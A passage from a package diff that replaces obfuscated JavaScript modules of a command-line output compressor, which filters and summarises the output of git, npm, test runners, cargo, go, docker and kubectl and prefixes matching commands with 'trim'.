_0x1b17d8=_0x7f641a['match'](/kubectl\s+(get|logs|describe|apply)/),_0xf75a1=_0x1b17d8?_0x1b17d8[0x1]:'get';return(0x0,devops_1[_0x221d91(0x210)])(_0x249dfa,_0xf75a1);}if(_0x7f641a[_0x221d91(0x216)](/^(ls|dir)(\s|$)/)||_0x7f641a[_0x221d91(0x1d0)](_0x221d91(0x1c7))||_0x7f641a['endsWith'](_0x221d91(0x1cc)))return(0x0,shell_1[_0x221d91(0x206)])(_0x249dfa);if(_0x7f641a[_0x221d91(0x216)](/^tree(\s|$)/)||_0x7f641a['includes']('\x20tree\x20')||_0x7f641a[_0x221d91(0x1e4)](_0x221d91(0x20f)))return(0x0,shell_1[_0x221d91(0x1c5)])(_0x249dfa);if(_0x7f641a['match'](/^(cat|head|tail|read|bat)(\s|$)/))return(0x0,shell_1['filterCat'])(_0x249dfa);if(_0x7f641a['match'](/^(grep|rg|ripgrep)(\s|$)/))return(0x0,shell_1['filterGrep'])(_0x249dfa);}catch(_0x371bc0){}return _0x249dfa=(0x0,generic_1[_0x221d91(0x211)])(_0x249dfa),_0x249dfa=(0x0,generic_1[_0x221d91(0x203)])(_0x249dfa,0x4e20),_0x249dfa;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':'trim\x20git'},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x4d4dbf(0x1e8)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x4d4dbf(0x1d9)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x4d4dbf(0x1d7)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x4d4dbf(0x205)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x|test)(\s|$)/,'prefix':a0_0x4d4dbf(0x1db)},{'pattern':/^npx\s+/,'prefix':a0_0x4d4dbf(0x1f7)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x4d4dbf(0x20a)},{'pattern':/^(rg|grep)\s+/,'prefix':'trim\x20grep'},{'pattern':/^ls(\s|$)/,'prefix':a0_0x4d4dbf(0x1f9)},{'pattern':/^tree(\s|$)/,'prefix':'trim\x20tree'},{'pattern':/^find\s+/,'prefix':a0_0x4d4dbf(0x1cb)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x4d4dbf(0x1fd)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x4d4dbf(0x21b)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x4d4dbf(0x1f4)},{'pattern':/^ruff\s+(check|format)/,'prefix':a0_0x4d4dbf(0x1d8)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x4d4dbf(0x1c6)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x4d4dbf(0x1f5)}];function a0_0x7476(){const _0x566e38=['filterKubectl','collapseDuplicates','trim\x20','git\x20show','startsWith','cargo\x20test','match','74310Smhdke','toLowerCase','__esModule','compressOutput','trim\x20kubectl','3000129VLgHAl','npm\x20i','redact','filterGoTest','yarn\x20install','./python','vitest','cargo\x20build','filterTree','trim\x20pip','\x20ls\x20','./rust','./js','git\x20status','trim\x20find','\x20ls','./devops','3399128GoFgRu','yadm\x20diff','includes','length','filterGitDiff','../redactor','1341609pdxcSL','npm\x20run\x20test','filterGoVet','trim\x20cargo','trim\x20ruff','trim\x20glab','15CDcOhP','trim\x20npm','go\x20test','rewriteCommand','./git','yadm\x20log','pip\x20install','63BYmPZH','./go','git\x20diff','endsWith','defineProperty','filterNpmInstall','2916UqofxR','trim\x20gh','filterCargoBuild','filterJestVitest','filterGitStatus','git\x20log','filterDockerImages','cargo\x20clippy','cargo\x20check','yadm\x20status','40428RgGWnQ','trim','filterPipInstall','trim\x20pytest','trim\x20go','ruff\x20check','trim\x20npx','npm\x20install','trim\x20ls','./shell','2221820ByilbE','filterCargoTest','trim\x20docker','filterPytest','filterDockerPs','pattern','redactor','pnpm\x20test','softTruncate','npm\x20test','trim\x20pnpm','filterLs','pip3\x20install','npm\x20i\x20','./generic','trim\x20read','filterDockerLogs','yarn\x20test','526826DZPYuE','ruff\x20','\x20tree'];a0_0x7476=function(){return _0x566e38;};return a0_0x7476();}function rewriteCommand(_0x27c7cd){const _0x9ca0e3=a0_0x4d4dbf,_0x4217b9=_0x27c7cd[_0x9ca0e3(0x1f2)]();if(_0x4217b9[_0x9ca0e3(0x214)](_0x9ca0e3(0x212)))return _0x4217b9;for(const _0x3e3600 of REWRITE_RULES){if(_0x3e3600[_0x9ca0e3(0x200)]['test'](_0x4217b9))return _0x9ca0e3(0x212)+_0x4217b9;}return _0x4217b9;}
1
+ 'use strict';const a0_0x4797ef=a0_0x4fad;function a0_0x4fad(_0x384ddd,_0x3eae18){const _0x35b164=a0_0x35b1();return a0_0x4fad=function(_0x4fad6b,_0x53a526){_0x4fad6b=_0x4fad6b-0xfa;let _0xe2ff1b=_0x35b164[_0x4fad6b];return _0xe2ff1b;},a0_0x4fad(_0x384ddd,_0x3eae18);}function a0_0x35b1(){const _0x54e8b1=['jest','npm\x20run\x20test','74980HQmODE','9331JmNqJG','match','pip3\x20install','trim\x20ruff','git\x20show','filterGoVet','trim\x20pytest','1111GRrTYr','\x20tree','12bFeTIm','333JLDajj','toLowerCase','cargo\x20check','./python','trim\x20pnpm','./rust','3570732gzyAGs','filterDockerLogs','endsWith','cargo\x20test','go\x20test','656GEZkco','pytest','npm\x20install','test','./devops','collapseDuplicates','trim\x20go','960390OPxArG','./go','trim\x20grep','trim\x20npm','./generic','yarn\x20install','length','filterCargoTest','filterGitStatus','npm\x20test','trim\x20tree','trim','444SaFWBF','includes','6561907SKOoxO','pnpm\x20install','filterLs','\x20tree\x20','redact','trim\x20cargo','./git','__esModule','cargo\x20clippy','filterGitLog','startsWith','go\x20vet','trim\x20','filterJestVitest','trim\x20ls','pip\x20install','trim\x20read','filterPytest','filterDockerImages','trim\x20gh','trim\x20docker','130844UuCUNz','trim\x20kubectl','../redactor','filterGitDiff','defineProperty','ruff\x20check','trim\x20git','filterPipInstall','kubectl','\x20ls\x20','trim\x20pip','vitest','\x20ls','npm\x20i\x20','cargo\x20build','redactor','pnpm\x20test','get','pattern','npm\x20i','filterDockerPs','git\x20status','filterGoTest','filterCargoBuild','15fvGXfu','./shell'];a0_0x35b1=function(){return _0x54e8b1;};return a0_0x35b1();}(function(_0x28d39c,_0x873a26){const _0x28aed6=a0_0x4fad,_0x1407d2=_0x28d39c();while(!![]){try{const _0xad3881=parseInt(_0x28aed6(0x11b))/0x1*(-parseInt(_0x28aed6(0x13c))/0x2)+-parseInt(_0x28aed6(0x10f))/0x3*(-parseInt(_0x28aed6(0x153))/0x4)+parseInt(_0x28aed6(0x130))/0x5+parseInt(_0x28aed6(0x124))/0x6+-parseInt(_0x28aed6(0x114))/0x7*(-parseInt(_0x28aed6(0x129))/0x8)+parseInt(_0x28aed6(0x11e))/0x9*(parseInt(_0x28aed6(0x113))/0xa)+parseInt(_0x28aed6(0x13e))/0xb*(-parseInt(_0x28aed6(0x11d))/0xc);if(_0xad3881===_0x873a26)break;else _0x1407d2['push'](_0x1407d2['shift']());}catch(_0x5458d8){_0x1407d2['push'](_0x1407d2['shift']());}}}(a0_0x35b1,0x78ae4));Object[a0_0x4797ef(0xfb)](exports,a0_0x4797ef(0x145),{'value':!![]}),exports['compressOutput']=compressOutput,exports['rewriteCommand']=rewriteCommand;const generic_1=require(a0_0x4797ef(0x134)),git_1=require(a0_0x4797ef(0x144)),python_1=require(a0_0x4797ef(0x121)),js_1=require('./js'),shell_1=require(a0_0x4797ef(0x110)),rust_1=require(a0_0x4797ef(0x123)),go_1=require(a0_0x4797ef(0x131)),devops_1=require(a0_0x4797ef(0x12d)),redactor_1=require(a0_0x4797ef(0x155));function compressOutput(_0x195225,_0x310e4e,_0x3a2b9b,_0x238f67=!![]){const _0x5bd4b8=a0_0x4797ef,_0x41012c=_0x195225[_0x5bd4b8(0x13b)]();let _0x418d92=_0x310e4e;_0x3a2b9b['trim']()[_0x5bd4b8(0x136)]>0x0&&(_0x418d92=_0x310e4e+'\x0a'+_0x3a2b9b);let _0x21e38f=(0x0,generic_1['stripAnsi'])(_0x418d92);_0x238f67&&(_0x21e38f=redactor_1[_0x5bd4b8(0x106)][_0x5bd4b8(0x142)](_0x21e38f));const _0x2dd5ac=_0x41012c[_0x5bd4b8(0x11f)]();try{if(_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x10c))||_0x2dd5ac[_0x5bd4b8(0x13d)]('yadm\x20status'))return(0x0,git_1[_0x5bd4b8(0x138)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)]('git\x20log')||_0x2dd5ac[_0x5bd4b8(0x13d)]('yadm\x20log'))return(0x0,git_1[_0x5bd4b8(0x147)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)]('git\x20diff')||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x118))||_0x2dd5ac[_0x5bd4b8(0x13d)]('yadm\x20diff'))return(0x0,git_1[_0x5bd4b8(0xfa)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x12a))||_0x2dd5ac[_0x5bd4b8(0x115)](/python3?\s+-m\s+pytest/))return(0x0,python_1[_0x5bd4b8(0x14f)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x14d))||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x116)))return(0x0,python_1[_0x5bd4b8(0xfe)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0xfc))||_0x2dd5ac['includes']('ruff\x20'))return(0x0,devops_1['filterRuff'])(_0x21e38f);if(_0x2dd5ac['includes'](_0x5bd4b8(0x12b))||_0x2dd5ac['includes'](_0x5bd4b8(0x104))||_0x2dd5ac[_0x5bd4b8(0x126)](_0x5bd4b8(0x10a))||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x13f))||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x135)))return(0x0,js_1['filterNpmInstall'])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x111))||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x102)))return(0x0,js_1['filterJestVitest'])(_0x21e38f);if(_0x2dd5ac['includes'](_0x5bd4b8(0x139))||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x107))||_0x2dd5ac[_0x5bd4b8(0x13d)]('yarn\x20test')||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x112)))return(0x0,js_1[_0x5bd4b8(0x14b)])(_0x21e38f);if(_0x2dd5ac['includes'](_0x5bd4b8(0x127)))return(0x0,rust_1[_0x5bd4b8(0x137)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x105))||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x120))||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x146)))return(0x0,rust_1[_0x5bd4b8(0x10e)])(_0x21e38f);if(_0x2dd5ac['includes'](_0x5bd4b8(0x128)))return(0x0,go_1[_0x5bd4b8(0x10d)])(_0x21e38f);if(_0x2dd5ac['includes'](_0x5bd4b8(0x149)))return(0x0,go_1[_0x5bd4b8(0x119)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x115)](/docker\s+ps/))return(0x0,devops_1[_0x5bd4b8(0x10b)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x115)](/docker\s+images/))return(0x0,devops_1[_0x5bd4b8(0x150)])(_0x21e38f);if(_0x2dd5ac['match'](/docker\s+logs/))return(0x0,devops_1[_0x5bd4b8(0x125)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0xff))){const _0x5a21a8=_0x2dd5ac[_0x5bd4b8(0x115)](/kubectl\s+(get|logs|describe|apply)/),_0x523e26=_0x5a21a8?_0x5a21a8[0x1]:_0x5bd4b8(0x108);return(0x0,devops_1['filterKubectl'])(_0x21e38f,_0x523e26);}if(_0x2dd5ac['match'](/^(ls|dir)(\s|$)/)||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x100))||_0x2dd5ac[_0x5bd4b8(0x126)](_0x5bd4b8(0x103)))return(0x0,shell_1[_0x5bd4b8(0x140)])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x115)](/^tree(\s|$)/)||_0x2dd5ac[_0x5bd4b8(0x13d)](_0x5bd4b8(0x141))||_0x2dd5ac[_0x5bd4b8(0x126)](_0x5bd4b8(0x11c)))return(0x0,shell_1['filterTree'])(_0x21e38f);if(_0x2dd5ac['match'](/^(cat|head|tail|read|bat)(\s|$)/))return(0x0,shell_1['filterCat'])(_0x21e38f);if(_0x2dd5ac[_0x5bd4b8(0x115)](/^(grep|rg|ripgrep)(\s|$)/))return(0x0,shell_1['filterGrep'])(_0x21e38f);}catch(_0x36172f){}return _0x21e38f=(0x0,generic_1[_0x5bd4b8(0x12e)])(_0x21e38f),_0x21e38f=(0x0,generic_1['softTruncate'])(_0x21e38f,0x4e20),_0x21e38f;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x4797ef(0xfd)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x4797ef(0x151)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':'trim\x20glab'},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x4797ef(0x143)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x4797ef(0x122)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x|test)(\s|$)/,'prefix':a0_0x4797ef(0x133)},{'pattern':/^npx\s+/,'prefix':'trim\x20npx'},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x4797ef(0x14e)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x4797ef(0x132)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x4797ef(0x14c)},{'pattern':/^tree(\s|$)/,'prefix':a0_0x4797ef(0x13a)},{'pattern':/^find\s+/,'prefix':'trim\x20find'},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x4797ef(0x152)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x4797ef(0x154)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x4797ef(0x11a)},{'pattern':/^ruff\s+(check|format)/,'prefix':a0_0x4797ef(0x117)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x4797ef(0x101)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x4797ef(0x12f)}];function rewriteCommand(_0x5e4049){const _0x3c5556=a0_0x4797ef,_0x472169=_0x5e4049[_0x3c5556(0x13b)]();if(_0x472169[_0x3c5556(0x148)](_0x3c5556(0x14a)))return _0x472169;for(const _0x382d71 of REWRITE_RULES){if(_0x382d71[_0x3c5556(0x109)][_0x3c5556(0x12c)](_0x472169))return'trim\x20'+_0x472169;}return _0x472169;}
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3c9ac9=a0_0x4068;(function(_0x140bc9,_0x4dff9f){const _0x50825f=a0_0x4068,_0x4b574c=_0x140bc9();while(!![]){try{const _0x2e01e7=parseInt(_0x50825f(0x1b9))/0x1*(parseInt(_0x50825f(0x1c0))/0x2)+parseInt(_0x50825f(0x1a1))/0x3+parseInt(_0x50825f(0x1a9))/0x4*(-parseInt(_0x50825f(0x1a2))/0x5)+parseInt(_0x50825f(0x1c3))/0x6*(parseInt(_0x50825f(0x1a6))/0x7)+parseInt(_0x50825f(0x1b1))/0x8+parseInt(_0x50825f(0x1b3))/0x9+-parseInt(_0x50825f(0x19f))/0xa;if(_0x2e01e7===_0x4dff9f)break;else _0x4b574c['push'](_0x4b574c['shift']());}catch(_0x376861){_0x4b574c['push'](_0x4b574c['shift']());}}}(a0_0x3ab5,0xbc384));function a0_0x4068(_0xcf0621,_0x4ddaf7){const _0x3ab53a=a0_0x3ab5();return a0_0x4068=function(_0x406813,_0x4da97a){_0x406813=_0x406813-0x19e;let _0x35b451=_0x3ab53a[_0x406813];return _0x35b451;},a0_0x4068(_0xcf0621,_0x4ddaf7);}function a0_0x3ab5(){const _0x384a9a=['__esModule','\x20passed','2JVTtOe','\x20total)','slice','316074PTTvXt','FAIL\x20\x20','25318270TsGVFR','push','2777460JVNohC','5gYjNKI','Tests:','Test\x20Suites:','PASS','49RReNvN','filterNpmInstall','Test\x20Runner:\x20','4424516bkIOqv','Test\x20Files:','\x20lines\x20of\x20trace\x20details\x20truncated)','startsWith','NPM:\x20Packages\x20verified/installed\x20successfully','includes','trim','FAIL','11139296lxzljj','length','6415371WLeItJ','split','match','\x20\x20...\x20(','filterJestVitest','\x20failed\x20(','1009100OUtITr','all','\x20passed,\x20','replace','join'];a0_0x3ab5=function(){return _0x384a9a;};return a0_0x3ab5();}Object['defineProperty'](exports,a0_0x3c9ac9(0x1be),{'value':!![]}),exports[a0_0x3c9ac9(0x1a7)]=filterNpmInstall,exports[a0_0x3c9ac9(0x1b7)]=filterJestVitest;function filterNpmInstall(_0x158040){const _0x19cdea=a0_0x3c9ac9,_0x4ef881=_0x158040[_0x19cdea(0x1bc)](/\r/g,'\x0a'),_0x904bb0=_0x4ef881[_0x19cdea(0x1b4)]('\x0a'),_0x45d9dd=[];for(const _0x714648 of _0x904bb0){const _0x1a1de7=_0x714648[_0x19cdea(0x1af)]();(_0x1a1de7['includes']('added\x20')||_0x1a1de7['includes']('removed\x20')||_0x1a1de7[_0x19cdea(0x1ae)]('audited\x20')||_0x1a1de7[_0x19cdea(0x1ae)]('up\x20to\x20date')||_0x1a1de7[_0x19cdea(0x1ae)]('found\x20'))&&(!_0x1a1de7[_0x19cdea(0x1ae)]('%')&&!_0x1a1de7['startsWith']('⠋')&&!_0x1a1de7[_0x19cdea(0x1ac)]('⠙')&&_0x45d9dd[_0x19cdea(0x1a0)](_0x1a1de7));}const _0x4cc109=_0x45d9dd[_0x19cdea(0x1bd)]('\x0a')[_0x19cdea(0x1af)]();return _0x4cc109['length']>0x0?_0x4cc109:_0x19cdea(0x1ad);}function filterJestVitest(_0x3a148a){const _0x533b98=a0_0x3c9ac9,_0x5901cc=_0x3a148a[_0x533b98(0x1b4)]('\x0a');let _0x164ab8=0x0,_0x19e84e=0x0,_0x315c77=0x0;const _0x1a6994=[];let _0x56255e=![];for(const _0x905793 of _0x5901cc){const _0x247bae=_0x905793[_0x533b98(0x1af)]();if(_0x247bae['startsWith'](_0x533b98(0x1a3))||_0x247bae[_0x533b98(0x1ae)](_0x533b98(0x1aa))){const _0x18cec2=_0x247bae[_0x533b98(0x1b5)](/(\d+)\s+passed/),_0x440d3f=_0x247bae['match'](/(\d+)\s+failed/),_0x525636=_0x247bae[_0x533b98(0x1b5)](/(\d+)\s+total/);if(_0x18cec2)_0x164ab8=parseInt(_0x18cec2[0x1]);if(_0x440d3f)_0x19e84e=parseInt(_0x440d3f[0x1]);if(_0x525636)_0x315c77=parseInt(_0x525636[0x1]);continue;}(_0x247bae[_0x533b98(0x1ac)]('❯')||_0x247bae['startsWith']('●')||_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x19e)))&&(_0x56255e=!![]),_0x56255e&&(_0x247bae[_0x533b98(0x1b2)]>0x0&&!_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x1a4))&&!_0x247bae[_0x533b98(0x1ac)](_0x533b98(0x1a3))&&_0x1a6994[_0x533b98(0x1a0)](_0x905793));}if(_0x315c77===0x0&&_0x164ab8===0x0&&_0x19e84e===0x0){if(_0x3a148a[_0x533b98(0x1ae)](_0x533b98(0x1a5))&&!_0x3a148a[_0x533b98(0x1ae)](_0x533b98(0x1b0))){const _0x365b76=_0x3a148a[_0x533b98(0x1b5)](/(\d+)\s+passed/),_0x8c7e7f=_0x365b76?_0x365b76[0x1]:_0x533b98(0x1ba);return _0x533b98(0x1a8)+_0x8c7e7f+_0x533b98(0x1bf);}return _0x3a148a;}if(_0x19e84e===0x0&&_0x164ab8>0x0)return _0x533b98(0x1a8)+_0x164ab8+'\x20passed';const _0x1c7d75=[_0x533b98(0x1a8)+_0x164ab8+_0x533b98(0x1bb)+_0x19e84e+_0x533b98(0x1b8)+_0x315c77+_0x533b98(0x1c1)];if(_0x1a6994[_0x533b98(0x1b2)]>0x0){_0x1c7d75[_0x533b98(0x1a0)]('\x0aFailures:');const _0x43278d=0x19,_0x261fd7=_0x1a6994[_0x533b98(0x1c2)](0x0,_0x43278d);for(const _0xcede9f of _0x261fd7){_0x1c7d75[_0x533b98(0x1a0)]('\x20\x20'+_0xcede9f);}_0x1a6994[_0x533b98(0x1b2)]>_0x43278d&&_0x1c7d75[_0x533b98(0x1a0)](_0x533b98(0x1b6)+(_0x1a6994[_0x533b98(0x1b2)]-_0x43278d)+_0x533b98(0x1ab));}return _0x1c7d75[_0x533b98(0x1bd)]('\x0a');}
1
+ 'use strict';const a0_0x5a957e=a0_0x39fc;(function(_0x24f666,_0x435078){const _0x5144c8=a0_0x39fc,_0x3080fb=_0x24f666();while(!![]){try{const _0xd3712b=parseInt(_0x5144c8(0x1c9))/0x1+-parseInt(_0x5144c8(0x1da))/0x2*(parseInt(_0x5144c8(0x1cc))/0x3)+parseInt(_0x5144c8(0x1dc))/0x4*(parseInt(_0x5144c8(0x1ce))/0x5)+-parseInt(_0x5144c8(0x1c7))/0x6+parseInt(_0x5144c8(0x1c4))/0x7*(-parseInt(_0x5144c8(0x1d4))/0x8)+parseInt(_0x5144c8(0x1d6))/0x9+-parseInt(_0x5144c8(0x1e1))/0xa;if(_0xd3712b===_0x435078)break;else _0x3080fb['push'](_0x3080fb['shift']());}catch(_0x2c5b8c){_0x3080fb['push'](_0x3080fb['shift']());}}}(a0_0x4c33,0x4227b));Object['defineProperty'](exports,a0_0x5a957e(0x1e0),{'value':!![]}),exports[a0_0x5a957e(0x1c5)]=filterNpmInstall,exports[a0_0x5a957e(0x1df)]=filterJestVitest;function filterNpmInstall(_0x34d717){const _0x38253a=a0_0x5a957e,_0x53f77e=_0x34d717[_0x38253a(0x1d7)](/\r/g,'\x0a'),_0x2611cb=_0x53f77e['split']('\x0a'),_0x21d1ee=[];for(const _0x1e9cc9 of _0x2611cb){const _0x2c9054=_0x1e9cc9[_0x38253a(0x1c0)]();(_0x2c9054[_0x38253a(0x1d3)](_0x38253a(0x1d2))||_0x2c9054[_0x38253a(0x1d3)](_0x38253a(0x1c6))||_0x2c9054[_0x38253a(0x1d3)](_0x38253a(0x1db))||_0x2c9054[_0x38253a(0x1d3)]('up\x20to\x20date')||_0x2c9054[_0x38253a(0x1d3)]('found\x20'))&&(!_0x2c9054[_0x38253a(0x1d3)]('%')&&!_0x2c9054['startsWith']('⠋')&&!_0x2c9054[_0x38253a(0x1cd)]('⠙')&&_0x21d1ee[_0x38253a(0x1c8)](_0x2c9054));}const _0x561542=_0x21d1ee[_0x38253a(0x1cf)]('\x0a')[_0x38253a(0x1c0)]();return _0x561542['length']>0x0?_0x561542:_0x38253a(0x1d9);}function a0_0x4c33(){const _0x4706dc=['33oiQXHZ','startsWith','110KpBTtJ','join','\x20\x20...\x20(','FAIL','added\x20','includes','96FKqEDq','\x20total)','3491946AAizEM','replace','\x20passed','NPM:\x20Packages\x20verified/installed\x20successfully','29246zlTooC','audited\x20','79988DRWXKe','\x20lines\x20of\x20trace\x20details\x20truncated)','all','filterJestVitest','__esModule','2899540IWauWq','Test\x20Files:','Test\x20Runner:\x20','PASS','slice','\x0aFailures:','Tests:','trim','length','match','\x20passed,\x20','266vgSMFQ','filterNpmInstall','removed\x20','2936652zbByRo','push','383748hJsQGM','Test\x20Suites:','\x20failed\x20('];a0_0x4c33=function(){return _0x4706dc;};return a0_0x4c33();}function a0_0x39fc(_0x55ed4e,_0xb37432){const _0x4c3343=a0_0x4c33();return a0_0x39fc=function(_0x39fc10,_0x3b241e){_0x39fc10=_0x39fc10-0x1c0;let _0x4e57d9=_0x4c3343[_0x39fc10];return _0x4e57d9;},a0_0x39fc(_0x55ed4e,_0xb37432);}function filterJestVitest(_0x7e0bca){const _0x4b3075=a0_0x5a957e,_0x4647ef=_0x7e0bca['split']('\x0a');let _0x34e657=0x0,_0x122a4a=0x0,_0x500071=0x0;const _0x1b2913=[];let _0x21484f=![];for(const _0x5aead3 of _0x4647ef){const _0x2a860f=_0x5aead3[_0x4b3075(0x1c0)]();if(_0x2a860f[_0x4b3075(0x1cd)]('Tests:')||_0x2a860f[_0x4b3075(0x1d3)](_0x4b3075(0x1e2))){const _0x3180c9=_0x2a860f[_0x4b3075(0x1c2)](/(\d+)\s+passed/),_0x12fe4e=_0x2a860f[_0x4b3075(0x1c2)](/(\d+)\s+failed/),_0x485871=_0x2a860f[_0x4b3075(0x1c2)](/(\d+)\s+total/);if(_0x3180c9)_0x34e657=parseInt(_0x3180c9[0x1]);if(_0x12fe4e)_0x122a4a=parseInt(_0x12fe4e[0x1]);if(_0x485871)_0x500071=parseInt(_0x485871[0x1]);continue;}(_0x2a860f[_0x4b3075(0x1cd)]('❯')||_0x2a860f[_0x4b3075(0x1cd)]('●')||_0x2a860f[_0x4b3075(0x1cd)]('FAIL\x20\x20'))&&(_0x21484f=!![]),_0x21484f&&(_0x2a860f[_0x4b3075(0x1c1)]>0x0&&!_0x2a860f[_0x4b3075(0x1cd)](_0x4b3075(0x1ca))&&!_0x2a860f[_0x4b3075(0x1cd)](_0x4b3075(0x1e7))&&_0x1b2913[_0x4b3075(0x1c8)](_0x5aead3));}if(_0x500071===0x0&&_0x34e657===0x0&&_0x122a4a===0x0){if(_0x7e0bca['includes'](_0x4b3075(0x1e4))&&!_0x7e0bca[_0x4b3075(0x1d3)](_0x4b3075(0x1d1))){const _0x1928c8=_0x7e0bca[_0x4b3075(0x1c2)](/(\d+)\s+passed/),_0x418a61=_0x1928c8?_0x1928c8[0x1]:_0x4b3075(0x1de);return _0x4b3075(0x1e3)+_0x418a61+_0x4b3075(0x1d8);}return _0x7e0bca;}if(_0x122a4a===0x0&&_0x34e657>0x0)return'Test\x20Runner:\x20'+_0x34e657+'\x20passed';const _0x41bfc2=[_0x4b3075(0x1e3)+_0x34e657+_0x4b3075(0x1c3)+_0x122a4a+_0x4b3075(0x1cb)+_0x500071+_0x4b3075(0x1d5)];if(_0x1b2913[_0x4b3075(0x1c1)]>0x0){_0x41bfc2[_0x4b3075(0x1c8)](_0x4b3075(0x1e6));const _0x3affae=0x19,_0x324a61=_0x1b2913[_0x4b3075(0x1e5)](0x0,_0x3affae);for(const _0x4bb61d of _0x324a61){_0x41bfc2[_0x4b3075(0x1c8)]('\x20\x20'+_0x4bb61d);}_0x1b2913[_0x4b3075(0x1c1)]>_0x3affae&&_0x41bfc2[_0x4b3075(0x1c8)](_0x4b3075(0x1d0)+(_0x1b2913['length']-_0x3affae)+_0x4b3075(0x1dd));}return _0x41bfc2[_0x4b3075(0x1cf)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3e447e=a0_0x12ac;(function(_0x47ad6a,_0x470bcc){const _0x1701fd=a0_0x12ac,_0xe2d08c=_0x47ad6a();while(!![]){try{const _0x2cedca=parseInt(_0x1701fd(0x1a9))/0x1+-parseInt(_0x1701fd(0x1b1))/0x2+-parseInt(_0x1701fd(0x1a1))/0x3+-parseInt(_0x1701fd(0x1ab))/0x4*(-parseInt(_0x1701fd(0x1a4))/0x5)+parseInt(_0x1701fd(0x19c))/0x6*(parseInt(_0x1701fd(0x19f))/0x7)+-parseInt(_0x1701fd(0x1a2))/0x8*(-parseInt(_0x1701fd(0x1a5))/0x9)+-parseInt(_0x1701fd(0x1a0))/0xa*(parseInt(_0x1701fd(0x1af))/0xb);if(_0x2cedca===_0x470bcc)break;else _0xe2d08c['push'](_0xe2d08c['shift']());}catch(_0x119702){_0xe2d08c['push'](_0xe2d08c['shift']());}}}(a0_0xefa2,0xd73a5));function a0_0xefa2(){const _0x148f5c=['Pytest:\x20All\x20tests\x20passed','Using\x20cached','Pytest:\x20','includes','Requirement\x20already\x20satisfied','__esModule','startsWith','length','passed','E\x20\x20\x20','===','___','join','AssertionError:','.py:','\x0aFailures:','===\x20short\x20test\x20summary\x20info\x20===','\x20lines\x20of\x20stacktrace\x20truncated)','Downloading','filterPipInstall','===\x20ERRORS\x20===','465714HOhTGW','split','\x20\x20\x20\x20...\x20(','21yKkqpw','1729230ztugqX','4882491RglVLb','8IHKXCq','\x20failed','3274090dLOdWS','11026143wHeCmT','match','trim','Successfully\x20installed','753238ZMaGnA','\x20in\x20','4eVdONS','\x20\x20\x20\x20','slice','failed','11qPQrNt','\x20more\x20failures\x20truncated','368094RWSoZY','\x20xfailed','defineProperty','\x20passed','push','\x20skipped','filter'];a0_0xefa2=function(){return _0x148f5c;};return a0_0xefa2();}function 